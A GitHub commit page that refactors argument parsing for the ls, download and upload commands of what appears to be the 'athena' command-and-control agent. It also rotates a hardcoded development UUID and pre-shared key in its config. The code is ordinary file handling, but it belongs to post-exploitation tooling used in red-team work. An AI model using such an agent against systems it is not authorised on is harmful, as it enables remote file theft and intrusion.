Skip to content

Commit

Permalink
Dev (#59)
Browse files Browse the repository at this point in the history
* update parsing of ls, download, and upload
  • Loading branch information
checkymander authored Feb 6, 2024
1 parent 87fcb03 commit f4ae502
Show file tree
Hide file tree
Showing 10 changed files with 283 additions and 159 deletions.
Original file line number Diff line number Diff line change
@@ -1,31 +1,55 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Net;
using System.Text;
using System.Threading.Tasks;
using System.Xml;

namespace Agent.Models
{
public class DownloadArgs
{
public string host { get; set; }
public string path { get; set; }
public string file { get; set; }
public int chunk_size { get; set; } = 85000;
public string host { get; set; }

public bool Validate(out string message)
{
message = String.Empty;
if (string.IsNullOrEmpty(file))

//If we didn't get a path, then return an error
if (string.IsNullOrEmpty(path))
{
message = "Missing file parameter";
message = "Missing path parameter";
return false;
}

if (!File.Exists(file))
//If we get to this point we either have a full path, or we're using the file browser and have all three
//If we have a file combine it with the existing path
if (!string.IsNullOrEmpty(file))
{
this.path = Path.Combine(this.path, this.file);
}

//If we have a host, append it to the beginning of the path
if (!string.IsNullOrEmpty(host))
{
if(!host.Equals(Dns.GetHostName(), StringComparison.OrdinalIgnoreCase))
{
host = "\\\\" + host;

this.path = Path.Combine(this.host, this.path);
}
}


if (!File.Exists(this.path))
{
message = "File doesn't exist.";
return false;
}

return true;
}
}
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -55,15 +55,7 @@ public ServerDownloadJob(ServerJob job, DownloadArgs args, int chunk_size)
this.complete = job.complete;
this.cancellationtokensource = new CancellationTokenSource();
this.chunk_num = 0;
this.path = args.file.Replace("\"", string.Empty);
this.chunk_size = args.chunk_size;
if (!string.IsNullOrEmpty(args.host))
{
if (!args.file.Contains(":") && !args.file.StartsWith("\\\\")) //It's not a local path, and it's not already in UNC format
{
this.path = @"\\" + args.host + @"\" + args.file;
}
}
this.path = args.path.Replace("\"", string.Empty);
}
}

Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -52,8 +52,8 @@ public AgentConfig()
#if CHECKYMANDERDEV
sleep = 1;
jitter = 1;
uuid = "1983c222-a0d0-44be-a785-d8263727e437";
psk = "cVe+0wszHsfwqlLxBhxYFoOr99m+rmLgTTqO/1Wbo+c=";
uuid = "cd2a0901-9b45-4c2e-ad99-dac0199b812b";
psk = "k6apiKVMVFuZD6kq3qWHQ4oaqIfNXw+mD6D6K5eBBcM=";
killDate = DateTime.Now.AddYears(1);
#else
uuid = "%UUID%";
Expand Down
4 changes: 2 additions & 2 deletions Payload_Type/athena/athena/agent_code/download/download.cs
Original file line number Diff line number Diff line change
Expand Up @@ -41,8 +41,8 @@ public Plugin(IMessageManager messageManager, IAgentConfig config, ILogger logge
public async Task Execute(ServerJob job)
{
DownloadArgs args = JsonSerializer.Deserialize<DownloadArgs>(job.task.parameters);

if(!args.Validate(out var message))
string message = string.Empty;
if(args is null || !args.Validate(out message))
{
await messageManager.AddResponse(new DownloadResponse
{
Expand Down
13 changes: 13 additions & 0 deletions Payload_Type/athena/athena/agent_code/ls/LsArgs.cs
Original file line number Diff line number Diff line change
Expand Up @@ -11,5 +11,18 @@ public class LsArgs
public string path { get; set; }
public string file { get; set; }
public string host { get; set; }
public bool Validate()
{
if (string.IsNullOrEmpty(this.path))
{
this.path = Directory.GetCurrentDirectory();
}

if (!string.IsNullOrEmpty(this.file))
{
this.path = Path.Combine(this.path, this.file);
}
return true;
}
}
}
9 changes: 3 additions & 6 deletions Payload_Type/athena/athena/agent_code/ls/ls.cs
Original file line number Diff line number Diff line change
Expand Up @@ -23,14 +23,11 @@ public async Task Execute(ServerJob job)
{
LsArgs args = JsonSerializer.Deserialize<LsArgs>(job.task.parameters);

if (string.IsNullOrEmpty(args.path))
{
args.path = Directory.GetCurrentDirectory();
}

if (!string.IsNullOrEmpty(args.file))
if(args is null || !args.Validate())
{
args.path = Path.Combine(args.path, args.file);
await messageManager.Write("Failed to parse arguments", job.task.id, true, "error");
return;
}

if (string.IsNullOrEmpty(args.host) || args.host.Equals(Dns.GetHostName(), StringComparison.OrdinalIgnoreCase))
Expand Down
75 changes: 75 additions & 0 deletions Payload_Type/athena/athena/agent_code/upload/UploadArgs.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,75 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Net;
using System.Text;
using System.Threading.Tasks;

namespace upload
{
public class UploadArgs
{
public string path { get; set; }
public string filename { get; set; }
public string file { get; set; }
public bool Validate(out string message)
{
message = String.Empty;

//If we didn't get a path set it to the current directory
if (string.IsNullOrEmpty(path) || path == ".")
{
path = Directory.GetCurrentDirectory();
}

if(!Directory.Exists(path))
{
message = "Directory doesn't exist!";
return false;
}

if (!CanWriteToFolder(path))
{
message = "Path not writeable.";
return false;
}

if (string.IsNullOrEmpty(filename))
{
message = "No filename specified";
return false;
}

path = Path.Combine(path, filename);
return true;
}
private bool CanWriteToFolder(string folderPath)
{
try
{
var directory = Path.GetDirectoryName(folderPath);
// Check if the folder exists
if (Directory.Exists(directory))
{
// Try to create a temporary file in the folder
string tempFilePath = Path.Combine(directory, Path.GetRandomFileName());
using (FileStream fs = File.Create(tempFilePath)) { }

// If successful, delete the temporary file
File.Delete(tempFilePath);

return true;
}
else
{
return false;
}
}
catch (Exception ep)
{
// An exception occurred, indicating that writing to the folder is not possible
return false;
}
}
}
}
Loading

0 comments on commit f4ae502

Please sign in to comment.